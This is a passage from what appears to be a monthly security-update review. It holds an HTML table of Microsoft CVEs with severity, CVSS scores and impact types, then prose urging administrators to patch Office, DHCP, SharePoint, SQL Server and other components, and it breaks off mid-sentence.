  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50679"><span>CVE-2026-50679</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44806"><span>CVE-2026-44806</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50681"><span>CVE-2026-50681</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56186"><span>CVE-2026-56186</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50367"><span>CVE-2026-50367</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58619"><span>CVE-2026-58619</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50311"><span>CVE-2026-50311</span></a></td>
  <td width="256" class="xl74">Windows Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50328"><span>CVE-2026-50328</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58531"><span>CVE-2026-58531</span></a></td>
  <td width="256" class="xl74">Windows SMB Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54997"><span>CVE-2026-54997</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49801"><span>CVE-2026-49801</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50690"><span>CVE-2026-50690</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56168"><span>CVE-2026-56168</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50360"><span>CVE-2026-50360</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57089"><span>CVE-2026-57089</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50333"><span>CVE-2026-50333</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50298"><span>CVE-2026-50298</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49171"><span>CVE-2026-49171</span></a></td>
  <td width="256" class="xl74">Windows Speech Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49170"><span>CVE-2026-49170</span></a></td>
  <td width="256" class="xl74">Windows
  StateRepository API Server file Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58526"><span>CVE-2026-58526</span></a></td>
  <td width="256" class="xl74">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50299"><span>CVE-2026-50299</span></a></td>
  <td width="256" class="xl74">Windows Storage Spaces
  Direct Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57968"><span>CVE-2026-57968</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57973"><span>CVE-2026-57973</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50418"><span>CVE-2026-50418</span></a></td>
  <td width="256" class="xl74">Windows System Secure
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50306"><span>CVE-2026-50306</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50307"><span>CVE-2026-50307</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49177"><span>CVE-2026-49177</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50669"><span>CVE-2026-50669</span></a></td>
  <td width="256" class="xl74">Windows Telephony
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54124"><span>CVE-2026-54124</span></a></td>
  <td width="256" class="xl74">Windows Terminal
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50350"><span>CVE-2026-50350</span></a></td>
  <td width="256" class="xl74">Windows Trusted
  Runtime Interface Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50326"><span>CVE-2026-50326</span></a></td>
  <td width="256" class="xl74">Windows Unified
  Consent System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49790"><span>CVE-2026-49790</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50498"><span>CVE-2026-50498</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58547"><span>CVE-2026-58547</span></a></td>
  <td width="256" class="xl74">Windows Universal Plug
  and Play (UPnP) Device Host Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49794"><span>CVE-2026-49794</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50453"><span>CVE-2026-50453</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58528"><span>CVE-2026-58528</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50321"><span>CVE-2026-50321</span></a></td>
  <td width="256" class="xl74">Windows USB Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50479"><span>CVE-2026-50479</span></a></td>
  <td width="256" class="xl74">Windows USB Hub Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55000"><span>CVE-2026-55000</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54991"><span>CVE-2026-54991</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54996"><span>CVE-2026-54996</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49802"><span>CVE-2026-49802</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49806"><span>CVE-2026-49806</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50674"><span>CVE-2026-50674</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49804"><span>CVE-2026-49804</span></a></td>
  <td width="256" class="xl74">Windows USB Video
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50454"><span>CVE-2026-50454</span></a></td>
  <td width="256" class="xl74">Windows User Interface
  Core Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49176"><span>CVE-2026-49176</span></a></td>
  <td width="256" class="xl74">Windows WalletService
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49800"><span>CVE-2026-49800</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50480"><span>CVE-2026-50480</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56173"><span>CVE-2026-56173</span></a></td>
  <td width="256" class="xl74">Windows WebView
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58632"><span>CVE-2026-58632</span></a></td>
  <td width="256" class="xl74">Windows Win32 Kernel
  Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54107"><span>CVE-2026-54107</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54986"><span>CVE-2026-54986</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54112"><span>CVE-2026-54112</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54114"><span>CVE-2026-54114</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50670"><span>CVE-2026-50670</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50688"><span>CVE-2026-50688</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50687"><span>CVE-2026-50687</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56176"><span>CVE-2026-56176</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58628"><span>CVE-2026-58628</span></a></td>
  <td width="256" class="xl74">Windows Wireless
  Network Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50295"><span>CVE-2026-50295</span></a></td>
  <td width="256" class="xl74">Windows Zero Trust DNS
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50509"><span>CVE-2026-50509</span></a></td>
  <td width="256" class="xl74">Wireless Wide Area
  Network Service (WwanSvc) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55945"><span>CVE-2026-55945</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45488"><span>CVE-2026-45488</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45489"><span>CVE-2026-45489</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55145"><span>CVE-2026-55145</span></a></td>
  <td width="256" class="xl74">Outlook Copilot
  Tampering Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56181"><span>CVE-2026-56181</span></a></td>
  <td width="256" class="xl74">Windows Network
  Address Translation (NAT) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58597"><span>CVE-2026-58597</span></a></td>
  <td width="256" class="xl74">Microsoft
  Edge (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl73">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  






  <p class=""><em>** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.</em></p><p class=""><em> </em></p><p class=""><em> </em></p><p class="">I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.</p><p class=""> </p><p class="">Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 